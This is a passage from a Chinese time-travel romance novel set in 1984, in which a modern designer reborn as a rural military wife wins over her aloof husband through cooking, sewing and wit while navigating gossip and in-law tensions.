周北冀本来没想在家里吃饭,他进屋也只是想拿车钥匙,和从书房带几本书走,听到苗秀秀的话,看了一眼饭桌上的菜,出人意料的卖相还不错,尤其是麻辣豆腐,他一向最喜欢吃。
没有急着拿车钥匙,周北冀洗了洗手出来吃饭,苗秀秀已经给他盛好了一碗小米粥。
麻辣豆腐中规中矩,和周家保姆的水平不相上下,炒猪肝味道却是意外的好,周北冀一个人就吃了一大半,连吃两个馒头之后,他又吃了第三个馒头。
炒菜舍得放油放作料了,厨艺也跟着突飞猛进。
男人的饭量还真大,他喝了两碗粥吃了两个馒头还能再吃,苗秀秀很多年没看到吃饭能吃得这么香的人了,就连吞咽的动作,都在发散荷尔蒙,上辈子她接触的那些时尚圈、模特圈的漂亮男人,个个都是怪咖,为了保持身材和女人一样吃饭从来不敢多吃。
看到苗秀秀有点古怪地盯着自己看,周北冀吃馒头的动作慢了一点,问她:“怎么了?”苗秀秀皮笑肉不笑地递给他毛巾,“慢点吃,头上都冒汗了。”
毛巾上喷了花露水,闻起来淡雅清香,周北冀拿起来擦了擦,忽然意识到,苗秀秀的变化似乎有点大,以前她可从来不知道往毛巾上喷花露水。
可是看她的脸,又的的确确还是原先那张脸,营养不良一样小小的、巴掌大的瓜子脸,清秀的五官,刚来的时候还面黄肌瘦的,现在似乎是长开了。周北冀忽然想起来中午程晋衡的话,说他媳妇长得比他姐姐妹妹都漂亮,以前从未仔细看过,现在一看,似乎真的还可以。
苗秀秀并不知道他想了这么多心思,主动问他:“你有没有什么特别想吃的,下星期回来的时候,我给你做。”
“没有。”周北冀在陆军学院食堂吃得不差,有时还会和同学一起外出打牙祭,市面上能吃到的好吃的他都吃过,市面上吃不到的,他们周家也都吃过。
“看你好像喜欢吃辣的,我给你做个水煮鱼吧,再烙几张葱油饼。”苗秀秀想,谢天谢地上辈子自己是个吃货,平常最大的爱好就是研究各种吃的,她的闺蜜菜菜也是个吃货,两人经常交流美食心得。
不知道这个祖宗还记不记得缝纫机的事,她很想提醒他一下,但是又怕引起他反感,记忆告诉他,这人以前对她特别不耐烦。
“缝纫机的事我记着呢。”周北冀也不傻,苗秀秀这么殷勤,他一眼就看穿了她的目的,直截了当地说。
好。苗秀秀心里乐开了花。周北冀走的时候,她一直把他送到门口。等他的车消失在黑暗里,她回到家里把家门反锁了,又唱又跳蹦跶了半天。要不是筒子楼隔音太差,她都想大声尖叫。
夜晚一个人独处的时光是惬意的,电视虽然不大,只有十八寸,好歹是个彩色电视机,84年能买彩色电视机的人家屈指可数,频道不多,只有两三个,可是能看到港剧《万水千山总是情》,虽然剧里汪明荃唱的那首主题歌早就家喻户晓耳熟能详,剧情她却是第一次看。
未怕罡风吹散了热爱,万水千山总是情;
聚散也有天注定,不怨天不怨命;
但求有山水共作证……
苗秀秀哼唱着主题歌,到浴室洗澡,一边洗,她还一边扭屁股跳艳舞,以前她可没有跳艳舞的资本,现在她要胸有胸,要屁股有屁股,扭一扭抖三抖,自己都觉得媚进骨子、妖到不行。
一场钢管舞下来,浑身燥热,舒舒服服洗好了热水澡,她从衣柜里随便找了一件周北冀的白衬衣穿在身上,以前那些土里土气的衣服,她再也不想穿。
对着大衣柜上的穿衣镜,她摆了个骚气的造型,胸前一片酥白,深深的事业线能令一切男人沉沦,也亏得苗秀秀以前裹胸,竟然把胸部养得这么白,和她身上其他地方的肤色明显不在一个色度,但同时也说明,她的皮肤底子不错,精心保养只能白起来的。
在床上做了半小时瑜伽,她又开始按摩胸部,这是防止胸部下垂、促进血液循环的好办法,上推下推正推侧推,胸下垂的狐狸精不叫狐狸精。
和夜晚的骚气妩媚相反,到了白天她又不得不装成温柔娴静的小媳妇。缝纫机买来之前的几天,她又去了好几次服务社,采买了缝纫要用的针线和裁剪用的剪刀画笔,为了保养皮肤,以前舍不得买的雅霜和蜜粉、唇膏也买了不少,她要从头到脚美起来,闪瞎周家人狗眼。
去食堂吃饭她也专检好的贵的菜买,反正之前饭票攒得多,足够她开销很长一段时间,要想皮肤好,光是外敷是不够的,还得汤汤水水来调内里,为此她还订了一份牛奶,每天早上给自己做各种营养又科学的早餐。
她这样大手大脚花钱,一些有心人把话传到了周家人耳朵里,又由周家人传递给了周北冀,周北冀期初并没有在意,直到他周末回家,发现家里焕然一新,沙发巾换成了蕾丝钩边的,床单也换了花色,心里才有了点异样。
苗秀秀正光脚穿着拖鞋卖力拖地,看到他进来,惊喜无比的样子,“我把家里收拾了一下,你看好不好?”
窗明几净、一尘不染的家,让他没法说什么,甚至他发现,他的小媳妇现在眼睛都是亮的,而不是像以前那样见了他连头都不好意思抬。
“你吃饭了吗?没吃的话先坐一坐,我忙完了就去做饭。”苗秀秀在洗手间洗拖把,对周北冀说。
周北冀英俊的脸上眉头一拧,上星期不是你说要做水煮鱼给我吃,我才空着肚子回来,闹了半天你只是嘴上说说,什么都没做?
“鱼我早上已经买好了,在水缸里养着呢,明天中午给你做,今晚就随便吃点吧。”苗秀秀洗好了拖把,洗干净手去厨房忙活。
看到梳妆台上一桌子的化妆品,周北冀装作随意,倚在厨房门口和苗秀秀说话,“你买了不少东西啊?”
“你怎么知道?有人告诉你了?”苗秀秀反问他。不用猜也知道,大院里的长舌妇可不少,她不就买了点雪花膏、吃了点好的,她们就急不可耐给周家人打小报告,周家人本来就看不惯她,以前她伏低做小战战兢兢她们尚且看不惯,如今这样高调,她们怕是更要看不惯了。
“不用人告诉我,我看到的,床单、沙发巾……”周北冀可不傻,不会被苗秀秀几句话就套路。
苗秀秀扭头看了周北冀一眼,“你心疼啦?我又没花你的钱,花的是结婚的时候我妈还有我哥哥嫂子们给我压箱底的嫁妆钱,公公婆婆给我的彩礼钱我妈也悄悄给了我一半,我没花你的钱。”
看出来小媳妇不太高兴了,周北冀不想给她留下自己小气抠索的形象,解释:“我没心疼,你就是花我的钱我也不心疼,我只是觉得你以前好像不是这样的,以前都舍不得花钱……不是说你现在花的不对。”
求生欲还挺强,苗秀秀说:“我只是不想再像以前那样活着了,人都有个向上的念头,我总不能原地踏步,本来你和你们家人就瞧不起我,我自己还不能改变一下下?”
瞧不起这三个字仿佛瞬间捅破了窗户纸,周北冀尴尬无比,苗秀秀心里什么
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都是知道的,只是她胆子小又自卑,从来都不说,一旦说出来,满满的委屈。
估摸着周北冀离开了,苗秀秀暗自翻了个白眼,又得意地做了个鬼脸。等到饭菜摆上桌,她又恢复了幽怨的神情。
仍然是两道精致小菜,宫保鸡丁火候恰到好处、葱烤鲫鱼也是汤鲜味美,苗秀秀一直低头吃饭不说话,眼角似乎还是湿润的,周北冀吃着可口的饭菜,心里却不是滋味。
人家的父亲为了救他父亲连命都搭上了,她孤身一人从千里之外的老家到雁京来嫁给他,他对她很不好,他心里有数,连带着他家里人也总给她脸色看、明里暗里排挤她,他也都是看在眼里的。她一向节约惯了,舍不得吃舍不得穿,粮票自己不吃,都攒着给他吃,如今她不过花钱吃点好的、用点好的,他家里人就在背后告状,实在是不应该。
“明天早上带你去买缝纫机,你还想要什么,也可以一起买了。”周北冀打起精神,主动问苗秀秀。
苗秀秀一听说缝纫机,顿时不想再装了,忍不住笑出声,“好啊,我还想看看报刊杂志,你能不能帮我办一个图书馆的借阅卡。”
“行啊,多看书看报没有坏处。”周北冀觉得他媳妇的这次改变有点质变的意思,是分子结构的那种改变。
晚上,周北冀从书房出来回到卧室,看到苗秀秀正坐在沙发上看电视,看的还是港剧《万水千山总是情》,满大街放这个港剧的主题曲,听说是风靡一时,以至于他在食堂吃饭的时候,十个人里有八个在唱。
“阮庭深没有你帅。”苗秀秀指着屏幕里的谢贤,扭头对周北冀说。
“谁是阮庭深?”周北冀可不认识谢贤是谁。
“就是这个人。”苗秀秀站起来,把饰演阮庭深的谢贤指给周北冀看。
周北冀有点不满,电视里这人看起来虽然风度翩翩,但明显是个老头子,他才二十五岁,比这人帅也没什么值得高兴的。
睡觉的时候,苗秀秀贴心地说:“你要是睡不惯行军床,大床分给你一半。”周北冀摇了摇头,说不用。血气方刚的年纪,他的定力没有好到睡一张床都不胡思乱想的地步,她身上还那么香。
他一进屋就闻到了,她洒了不少花露水在身上,被体温中和以后,味道暖暖淡淡的,有种说不出的甜腻感。
苗秀秀心里偷偷一笑,他肯定不知道,玛丽莲梦露最喜欢的斩男香香奈儿5号和六神花露水香型是一样的。
第二天,夫妻俩起个大早,苗秀秀走到楼下才发现,周北冀竟然开了一辆绿色吉普车回来。苗秀秀问他,他才说是跟朋友借的。
“王府井离这边挺远的,开车过去把缝纫机拉回来方便点。”周北冀戴上墨镜,叫苗秀秀系好安全带。
苗秀秀看了他一眼,没想到这种飞行员墨镜这个时候就有人戴了,不过这个时候应该是叫麦克镜,因为那部著名的美剧《大西洋底来的人》里的男主角麦克哈里斯戴过同款而出名。
“这是什么眼镜啊,为什么镜片是黑的?”苗秀秀装傻的时候绝不会让人看出来。
“是墨镜,开车的时候能防反光。”
“哦,墨镜我见过,我们村的算命瞎子才会戴墨镜,你的墨镜和他的形状不太一样。”
周北冀瞅了苗秀秀一眼,总觉得自己刚才是被这丫头给套路了,什么叫算命瞎子才会戴墨镜?把他和算命瞎子比……就在昨天晚上,她明着夸他帅,也是拿他和电视里的老头子比,丫头质变之后智商也跟着涨了不少。
6. 第五章
刚走进商场就看到家电区围了一大群人,一打听才知道是电视机到货,一百多人排队抢购,本来还有个队形,随着电视机越来越少,后面的人一着急就全都挤一块儿去了。
物资匮乏的年代,商场里家电类产品基本上到货一批很快就会被抢光。苗秀秀心里嘀咕,知道的这是在抢购电视机,不知道的还以为是加里森敢死队。
缝纫机的柜台也围了不少人,周北冀找了熟人,才留下来一台,苗秀秀看着他和工人把装缝纫机的箱子搬上车后座,心里愉快极了。
之前听到商场里播放《万水千山总是情》的主题曲,苗秀秀就动了心思,拉了拉周北冀的衣袖,“我想买盘磁带,你陪我去一下。”周北冀跟着她去找卖磁带的柜台,买了一盒电视剧主题曲磁带。
车上,苗秀秀撕开磁带包装纸,看到上面的歌单,除了《万水千山总是情》,还有汪明荃主演的《京华春梦》主题曲和别的一些电视剧歌曲,对周北冀说,家里的收录机总算能派上用场了。
“你喜欢听歌啊?”周北冀问。苗秀秀点了点头,无论是哪个时代,有谁不喜欢听歌呢?她上辈子开车必听歌,打发堵车和等红灯时间最好不过。
“我那里有邓丽君的磁带,可以给你听听。”
“邓丽君我知道,报纸上之前还说她的歌是靡靡之音。”
“靡靡之音倒算不上,她的声音很甜。”周北冀随口一说,忽然意识到什么地方不对。以苗秀秀以前表现出来的见识,她哪会说出靡靡之音这样的词语?
“你知道什么叫靡靡之音?”他试探地问。出自《韩非子》里的成语,她能知道就怪了。
“我知道啊,报纸上说了,就是软绵绵的,听着让人萎靡不振的音乐。”话说出口,苗秀秀发现自己又说了一个不该说的成语,不过既然说了,也就装没发现,不然的话,她以后连话都没法说了。
周北冀听出她的语气里的一丝委屈,有点惭愧,她好歹也念到初三了,又不是大字不识一个的文盲,偶尔说两句成语也不算什么,自己习惯了门缝里瞧人,把人给看扁了。
买来的缝纫机需要组装起来才能用,周北冀看了看说明书,拿着扳手和螺丝刀,花了点时间把缝纫机装了起来,等他把组装好的缝纫机搬进卧室里,苗秀秀已经把水煮鱼做好了端上桌。
色香味俱全的水煮鱼一看就令人食欲大增,她还放了豆芽和豆腐在里面当配菜,周北冀一连吃了两碗米饭,觉得媳妇开窍了以后做菜的水平与日俱增,已经能赶上食堂的大厨。
“好吃吗?”苗秀秀的眼睛亮亮的。
“好吃。”周北冀由衷地说,“以前怎么没发现你厨艺这么好?”
“以前你也不愿意吃我做的菜呀。”苗秀秀夹了点鱼肉在自己碗里,就着米饭吃下去。不管是水煮鱼还是酸菜鱼,都是她的拿手好菜,小子,有你磕头叫女王那一天。
“可你以前做的菜真不怎么好吃。”
“以前舍不得放油,现在想开了,你吃惯了好的,给你吃油水不够的菜你肯定吃不下,要吃就吃好的,咱家又不缺钱。”
苗秀秀一副我为了你才顿悟的表情,周北冀有点笑意在唇边,但终究没有笑出来。
下午,周北冀抽空去图书馆给苗秀秀办了一张借阅卡。一个认识他的工作人员问他是给什么人办的,他犹豫了一下才说,我媳妇。
工作人员惊讶,“你结婚了?什么时候结的?”
“去年。”
老辈子人的习惯,娶个媳妇好过年,抗争无效之后,他也就娶了。现在想来,也谈不上什么满意不满意,过一天算一天。
晚饭,苗秀秀烙了几块葱油牛肉饼,周北冀一样吃得很香。等把他送走了,苗秀秀锁好了门,一个人在房间里跳了一段扭臀摆跨的拉丁舞,越看自己的舞姿越迷人,只可惜没有手机能拍下来。
从前她没觉得自己这么自恋,此时才知道,妖娆好身材是能给人带来很大自信的。
接下来的日子,她每天闷在家里做衣服,饭也不做,到点都是去食堂吃,甚至有好几次做衣服做得太投入,忘记了吃饭时间,匆匆赶到食堂一看,饭菜早就没有了,只能回家下面条吃。
衬衫西裤做好之后,她穿上之后照照镜子,对自己相当满意,腰是腰、臀是臀,有了飘带当装饰,胸也没有大得很夸张,反而看起来很有美感。
帅!她给自己点了一个大大的赞,当天下午就出门去做头发。一路上吸引了无数人注意,甚至好些人都没认出来,她就是周北冀那个农村媳妇。
理发师问她要剪个什么样的头发,苗秀秀端详着镜子里自己的脸,觉得还是留长发更合适,对理发师说,把她头发剪短一点,然后发梢烫起来。
最近一段时间,她每天坚持用蛋清涂在头发上护发,虽然耗费了很多鸡蛋,效果却是显著的,决定一直用下去,反正周家给的鸡蛋票多得是,她一个人怎么吃都吃不完。
烫头发很耽误时间,离开理发店的时候,夜幕已经降临,对新做的头发,苗秀秀谈不上很满意,毕竟只是大院内部的理发店,理发师水平就那么回事,将来要烫头发还是得去雁京城区里的店,那边应该水平和设备都好很多。
回到家里,苗秀秀随便弄了点饭吃,就开始踩缝纫机用做衣服的边角料做发带和蝴蝶结发扣,端午节还有不到一个月,到时候周家人一定会让她和周北冀回家吃饭,她要闪亮登场,镇住所有人。
周末周北冀回家的时候,看到的就是打扮得漂漂亮亮的苗秀秀,一开始他差点没认出她,以为自己走错门,近看才发现这个美貌少妇就是自己的小媳妇。
苗秀秀穿着白色飘带衬衫、黑色西裤,披肩的长发用白色发带简单束了一道,看起来时髦又不失女人味。
“剪了头发?”周北冀越看越有点奇怪,怎么他媳妇的质变连着审美品味也提高了呢,以前的麻花辫子哪去了?
“剪了还烫了,好不好看?”苗秀秀抿着水润的红唇,用一种满含期待的、含情脉脉的眼神看着丈夫。
“还可以吧。”周北冀想说好看,但是他又不想让这个小女人太骄傲,她的变化让他一时之间有点不知道如何去适应。
苗秀秀自然是要做一番解释的,“阅览室里的杂志真多啊,眼花缭乱的,我特别喜欢看有各种漂亮衣服的,杂志上有些衣服外面买不到,我就试着自己做了。”
“嗯,看起来不错。”周北冀思忖半天,觉得还是应该表扬一下,起码媳妇现在知道多学习多观察了,不再像以前那样,除了吃饭睡觉,什么都与她无关似的。
得到了他的肯定,苗秀秀更来劲了,兴奋地说:“我今天去市场买菜回来的时候,有两个大姐问我衣服是在哪里买的,我说是我自己做的,她们问我能不能帮她们也做两件,我答应了。她们说会给钱。”
“院里的熟人?”周北冀问。
“不太熟,但也见过,好像是随军家属,一个在服务社上班,一个在食堂打菜。”苗秀秀早就打听过这两人的底细,虽然不是什么重要岗位,但是县官不如现管,将来肯定用得上。
“既然答应了,那就做吧,反正你在家里闲着也是闲着。”周北冀也希望她能找点事情做,而不是整天无所事事。
苗秀秀高兴地点了点头。周北冀看她一脸兴奋,问:“你经常去阅览室看书?”
苗秀秀又点了点头,假装不好意思,“我念书不多,但是以前也喜欢看书,要不是家里太穷了,我肯定能考上高中的。”
神他妈考上高中,老娘是在法国最好的艺术学院留学三年、年年参加巴黎时装周的顶尖设计师。
“喜欢看就看。”周北冀想了想,又说:“我书房里的书,你想看也可以看,就是别给
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我放乱了。”
“哦。”苗秀秀心里莫名惊喜。
找对了路子,这个男人其实也没有那么难相处,原主和他处不来,似乎也不能光怪他一个人,两个人的背景、见识相差太大,他又是个少爷脾气,没有老一辈人那种娶进门就照顾一辈子的责任感,只能说,造化弄人。
“你饿了吧,我饭都做好了。”苗秀秀去厨房把饭菜端出来。
一盘毛豆木耳炒虾仁、一盘京酱肉丝搭配薄饼、一盘凉拌海蜇丝,配上清粥吃非常落胃,苗秀秀记得周北冀喜欢吃包子和饺子,下午特地发面揉面包了两笼包子,准备给他吃几个,再把剩下的装起来给他带到学校去吃。
这些天来,苗秀秀总是变着法子做各种好吃的给周北冀吃,让他从周六早上就开始惦记,晚上回家她会做什么好吃的,果然又没让他失望,苗秀秀炒的虾仁特别嫩,可他明明记得,她老家在大别山最穷的地方,一年也吃不到几回虾,炒出来的虾仁竟然能比周家保姆炒的还好吃。
“虾仁你怎么炒的?吃起来很嫩,下回教教小张,我家人都喜欢吃炒虾仁。”周北冀一个人就把虾仁吃了一大半。
小张是周家的小保姆,四川人,是周家为数不多的对苗秀秀还算友好的人,大概因为都是农村来的,两人每次见面都会说上几句悄悄话。
“清水焯一下,再裹上蛋清,放到锅里炒就行。”苗秀秀喜欢吃海蜇,看周北冀不怎么吃,自己几乎把一盘子全都报销了。
周北冀看着苗秀秀,心里始终有件事梗在那里,让他说也不是,不说更不是,最终还是说了,“爸妈让我们端午回家过节,到时候我们买点水果带过去。”
上回他们一起回家还是周北冀的妈妈沈芬玉的生日,几个儿女自然是要准备生日礼物的,周北冀没和苗秀秀说,自己去王府井百货买了一件羊毛衫准备送给沈芬玉当生日礼物,结果生日当天各房子女送礼物的时候才发现,苗秀秀也给沈芬玉准备了礼物,是她自己织的腈纶线围巾和绣的鞋垫。
沈芬玉本来就因为快到退休年龄在单位和领导吵了一架,心里好些天不痛快,看到小儿媳妇送的寒酸礼物脸色就更难看了,周北冀的妹妹周中中偏偏还要补上一刀,说妈妈戴的都是纯羊毛围巾,现在谁还用腈纶线织围巾,起球还容易粘毛。
几句话把苗秀秀说得快哭了,她从小到大都没穿过纯羊毛毛衣,更别说用昂贵的羊毛线来织围巾了,来雁京之前,她穿的都是线衣和绒衣,她以为腈纶毛线已经很好很好了,鞋垫也是她一针一线绣出来的,以前在他们村子里,她的刺绣活儿见到的人没人说不好。
她知道雁京有非常著名的王府井百货,她只去过一次,就是结婚前大姑姐带她去买结婚衣服那一次,连县城百货店都没去过几回的她到了王府井百货那样的大商场简直晕头转向,因此她根本记不清那商场在雁京什么地方。
周北冀对她送的礼物也非常不满,但是他比他妹妹有涵养,不会把情绪用语言表达出来,然而苗秀秀还是对他那次生气印象深刻,他冷冷看了她一眼,过后就再也没用正眼瞧过她,就连回家的时候,他也是自己直接回学校,送都没送她。
“你放心,我再也不会给咱妈绣鞋垫儿了,没那闲工夫。”苗秀秀说话间站起来,准备收拾碗筷。记忆涌上心头的时候,那口恶气不吐不快,遇上这样一家人,好人也得给气疯了,何况还是个无依无靠的乡下姑娘。
周北冀本来还想再吃一个肉包子,苗秀秀已经把东西收起来了。他只好讪讪地收回了手,上回的事情现在想来是有点过分,礼物不喜欢就不喜欢吧,何必让人当面下不来台。有时候欺负人是会欺负成习惯的,比如他妹妹,仗着是北大中文系的大学生,恨不得拿鼻孔对着苗秀秀。
在厨房刷碗的时候,苗秀秀挤眉弄眼做了无数鬼脸,面目狰狞的样子任何人看到都会吓一跳。
7. 第六章
“水果是我买还是你买?”周北冀想缓和一下两人之间的气氛,毕竟这段时间以来,他每次回家来心情还算愉快,他不想破坏这样的氛围。
“你要是不放心你就自己买,放心的话,就交给我。”苗秀秀回头妩媚地飞了他一眼,软语娇嗔。
“那你买吧。”周北冀被这突如其来的媚眼弄得浑身不自在,可又有种说不出的滋味在心头荡漾,有点酸又有点甜。
晚上,周北冀破天荒没有去他的书房,而是陪苗秀秀看了会电视。电视里已经不演《万水千山总是情》,演的是轰动一时、风靡华人世界的金庸巨作《射雕英雄传》改编的港剧。
虽然83版射雕苗秀秀以前就看过无数遍,可还是不觉得厌,磕着瓜子,看得聚精会神。
“《射雕英雄传》拍成电视了?这个演杨铁心的人是不是《万水千山总是情》里的阮庭深?”自从上回苗秀秀说阮庭深帅,周北冀就记住了这张脸。
“是他,谢贤,他儿子叫谢霆锋。”
一不留神,苗秀秀就说漏了嘴,可是话已出口覆水难收,只得笑着把话题岔开,“我在小报上看到的,你不是让我多看书嘛,最近我光看书看报了。”
周北冀淡淡地挑起嘴角,像笑又不像笑。
金庸的武侠小说、邓丽君的歌都是当时的流行文化,苗秀秀喜欢这些也无可非议,其实也不光是她,周北冀学校那些同学也都看武侠小说看得废寝忘食,每天晚上打着手电筒熬夜看,油印的盗版书质量很差,连续看几晚上,眼睛都能看瞎了。
“瓜子吃不吃,我在服务社买的。”苗秀秀抓了一把瓜子,手伸到周北冀面前。
“你吃吧。”周北冀对这些女孩子喜欢的小零食兴趣不大。
他不吃,苗秀秀也就不再跟他客气,自己吃了一大把,吃完觉得渴了,又去冰箱里拿了一支雪糕过来吃。
周北冀无意中看到她用粉嫩的小舌头舔着雪糕,下腹一紧,有点无所适从地没话找话,“九点多了,你还不睡?”
“还有一点点就演完了,看完再睡行不行?”苗秀秀似乎没注意到他瞬间的窘迫表情,注意力全神贯注在电视上。
“行啊,我先去洗洗。”周北冀暗自松了口气。
苗秀秀扭头瞥了一眼他背影,转过脸来,眼中尽是得意。尽管穿过来才一个多月,她已经把这人的脾气摸透了。这世上哪有不近女色的男人。
而且,他的下颌线,真的很好看。
周北冀躲到浴室里,浑身的燥热依然没消褪,他不敢相信,自己居然会因为她不经意间的一个小动作就起了生理反应。明明他之前对她半点想法都没有,看来还是高估了自己的定力。
把水调到最大,周北冀把自己从头到脚用热水浇透了,好不容易熄灭心里的□□。说起来,他也二十五了,也不是没谈过女朋友,这样的悸动他很清楚意味着什么,但是他也知道,不能任其发展,离婚的念头,在他心底始终没打消。
等周北冀洗好了澡出来,苗秀秀已经替他把行军床铺好了,拿了自己的衣服,她还随手关掉了卧室的灯。
室内静悄悄的,周北冀躺在行军床上却没有一点困意,浴室里哗哗的水声,在静谧的夜晚尤其清晰,他努力克制自己不去想象那个女人是怎么洗澡的,可越想克制越克制不住,直到一声开门声响起,他才没有继续胡思乱想。
苗秀秀披着湿淋淋的头发冒着热气从浴室出来,从他的角度能看到她站在狭窄的客厅里擦头发。身上穿的衣服是小花布做的短袖衫和到膝盖的小短裤,背着光能看出她的手臂和腿全都细细的,腰也细细的,完全是个二十出头小姑娘的样子。
想了想,她比小妹还小一岁呢,才二十一。
苗秀秀擦干了头发,关掉客厅的灯,轻手轻脚回到卧室,上床钻进被子里。快到端午了,天气一天比一天热,明天就该铺上席子,毛巾被也得拿出来晒一晒。
黑暗中的那个人看了她好一会儿,她不用回头也能感觉到他的目光。
在这方面,她是有相当经验的,上辈子她谈了四五个男朋友,虽然没有一个能超过两年,但是男人什么德性,她早就门儿清,然而苗秀秀还是个黄花大姑娘,太出格的行为她是做不出来的。
反正走心是不可能走心的,对一个能助力未来董事长上位的工具人,走走肾也没什么。
早上,周北冀穿上球鞋准备去晨跑,苗秀秀让他回来的时候去食堂买早点带回来,她趁着早上还不太热,把他和自己昨晚换下来的衣服洗了。周北冀应了一声出门去。
家里没有洗衣机真是太不方便了,不管是衣服还是床单被套都要用手搓,太费手了,苗秀秀很想让周北冀买台洗衣机回来,又不太好提,他上回给她的两张工业券,一张被她拿去买了蒸汽电熨斗,一张被她买了做衣服用的拷边机,洗衣机这样的大家电,还是得找个适合的机会再和他提。
周北冀回来的时候带来好几样早点,夫妻俩正吃着,两个人影出现在门口。苗秀秀抬头一看,是之前找她做衣服的那两位大姐。在食堂打饭菜的叫张红梅,服务社卖布料的叫王素香。
“张姐、王姐,你们来了。”苗秀秀放下碗筷,拿毛巾擦了擦嘴,先招呼客人,“这是我老……我对象小周。”想了一下,这时候似乎还不流行老公这个词,不是叫对象就是叫爱人。
爱人这个词,过于亲密,他俩又不爱,叫爱人太对不起这个词的涵义了。
张红梅和王素香完全没想到苗秀秀的丈夫周北冀也在家,作为全军区大院的八卦达人,她们都知道这对小夫妻的情况,也知道周家人顶瞧不上这个农村儿媳妇。
“知道知道,小周我们都认识,我们是不是来得太早了,人家小俩口正在吃饭。”张红梅笑着向王素香使了个眼色。
王素香会意,“要不我们一会再来吧。”
“不用,我们已经吃好了。你们坐一下,等我收拾收拾。”苗秀秀把两位大姐带进卧室。客厅实在是小,吃饭的圆桌放开,客人连站的地方都没有。
“我收拾吧,你招待客人。”周北冀主动把收拾饭桌的活儿给揽了。
苗秀秀嗯了一声,开始给张红梅和王素香量衬衫尺寸。
看到她俩拿来的都是真丝布料,苗秀秀说:“张姐,你们新进的料
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子真好看,以后再有好看的新布料麻烦您通知我一声,夏天到了,我想再多做几件衣服。”
“好啊,下回有好的给你留着。”张红梅答应地很爽快。
量好了尺寸,两人掏钱给苗秀秀,却被苗秀秀拒绝了。苗秀秀说:“我家小周批评我了,说给熟人裁衣服还要钱,说出去太见外了,您两位是看得起我才找我做衣服,我不该收钱。”
“那怎么行呢,我们在外面做衣服也是要给钱的呀。”
“真的不用了。”
“工钱还是要给的,不然下次想找你做衣服就不好麻烦你了。”
苗秀秀想了想,“那要不这样吧,这回我不收你们的钱,衣服做出来你们穿好了,下次做衣服再收钱。”
王素香这样在服务社卖布料的活招牌,打着灯笼难找,免费给她做几件衣服实在不算什么。
周北冀端着两杯水出来,放在客人面前的茶几上,客气地让她们多坐一会儿,苗秀秀微有些惊讶地看了他一眼。她本以为他会躲出去,或者去他的书房,没想到他该有的礼数还是有的。到底读过书的人,待人接物绝不小家子气。
张红梅和王素香也很惊讶,周参谋长家这位小公子和传言中似乎不太一样,传言他眼高于顶、又冷又傲,也很不待见他的乡下媳妇,如今见面发现根本不是传言说的那样,他和他小媳妇挺融洽的,不仅帮她收拾桌子,还主动招呼她的客人。
两位大姐都是随军家属,性格也都爽利好相处,话匣子一打开就合不上,差不多坐了一上午,周北冀看了场电影回来,看到她俩还在,打了个招呼就进自己书房去了。
张红梅看看手表,和王素香说了一声,两人起身告辞。苗秀秀把她俩送走了,洗手去厨房做午饭。
每周末周北冀回家的时候,两人在家里吃饭已经成了习惯,反正她脑子里的菜谱一时半会用不完,就算重复了,她相信以她的厨艺,他也吃不腻。
鲜香爽口的酸菜鱼做好了端上桌,苗秀秀去敲周北冀书房的门。他很快来开门,如释重负:“两尊大佛总算是走了。”苗秀秀跟他笑笑,“洗手去。”
吃饭的时候,周北冀说:“你还挺会说话的嘛,那两位可都是优差,尤其是张红梅,想给谁多打好菜就给谁多打,勺子抖一下就能抖下去一半,和他们搞好关系百利而无一害。”
“别把人家想得这么市侩,人家就是想多交几个朋友。”苗秀秀有意用嗲嗲的声音说。
事实证明,男人很吃这种娇滴滴的语气,周北冀难得笑了,“会说话是个优点,就算交不到朋友,起码不会得罪人。”
“你还怕得罪人?你以前那么拽。”苗秀秀不禁脱口而出。
周北冀深深地看了她一眼,“有吗?”“有。”苗秀秀再次以身犯险,“你以前见了我,一个鼻孔出冷气,一个鼻孔出热气,哼、哈……”
周北冀抬手举起筷子在她脑门上轻轻敲了两下,以前他经常这样敲他妹妹脑门,下意识的亲昵小动作,用在她身上,连他自己都惊讶,似乎这个动作都不是大脑指挥的,而是手自己做的决定。
苗秀秀冲他耸了耸鼻子。
8. 第七章
端午节当天,苗秀秀一大早六点钟就起床了,简单洗漱过后直奔农贸市场去买水果,早上的水果都是从各县区刚送过来的,全都又大又新鲜,工资普遍只有几十块钱的年代,也就城里人舍得花钱买水果吃,因此到了节假日,果农们争先恐后把水果送进城。
苗秀秀选了五六样,装了一大网兜,把水果送回家后,她又跑到图书馆后面的小花园,偷偷采了人家一大把月季花和石榴花,准备回家做一个鲜花果篮。
上辈子的闺蜜菜菜是一个花艺师,自己开了一家很大的花店,苗秀秀见过她插花做花篮和果篮,只要依着印象里样子,她就不信她做不出来。
果篮是她早就买好的柳条编的篮子,摆放上水蜜桃、苹果、香蕉、白梨、杏子,确实简单了点,幸好她想得周到,把各色月季花和火红的石榴花点缀上之后,一个漂亮的鲜花果篮新鲜出炉。
周北冀对她的鲜花果篮也很满意,问她是在哪里买的。
“我自己做的果篮。”
“花呢?”
“花园里偷摘的,人家的手都被花刺戳破了。”苗秀秀给周北冀看了一下手,但是没等他反应过来,她就已经把手缩了回去。
“好看,很有创意。”周北冀看着这个精心制作的鲜花果篮,惊讶这么不起眼的柳条篮子装上水果再摆上鲜花能这样化腐朽为神奇。这样的篮子他以前在路上看过,进城卖鸡蛋的农村妇女会挎着这样的篮子。
然而更令他惊讶的是他的小媳妇今天美得惊人。她穿了一件他从来没见过的淡黄色短袖上衣,领口袖口都是荷叶边,料子看起来像真丝的,风一吹荷叶边就会飘起来,搭配的是一条长度到膝盖的白色裙子,裙身上也有一排斜斜的荷叶边,和上衣非常搭配。
从胸看到腰,从腰看到臀,曲线玲珑有致、恰到好处的身材轻软浮凸,就像雁京人常说的,条儿顺盘儿靓。
苗秀秀看到周北冀低头看着她的脚,似乎在看她脚上的白色凉鞋,问他:“好看吗,我新买的。”要不是考虑这个时代的审美,她才不想穿什么丝袜,夏天她都光脚穿凉鞋。
好看。周北冀说,更好看的是她的脸,如花似玉唇红齿白,一双水灵灵的杏眼看起来亮晶晶的,他并不知道她是涂了口红,他以为她嘴唇就是那么红。
苗秀秀把披肩长发挑了一缕用蝴蝶结发扣绕了两道,照照镜子觉得自己妩媚动人,挎上白色小包,提着果篮跟着周北冀一起出门。
以前回周家他俩都是各走各的,周北冀只在刚结婚那几天用自行车带过苗秀秀一次,不喜欢她搂自己的腰,后来就再也没带过。
苗秀秀有些犹豫,不知道周北冀愿不愿意骑车带她。周北冀看到她提着果篮站在他车旁发愣,骑上车对她说:“坐上来,我带你过去。”
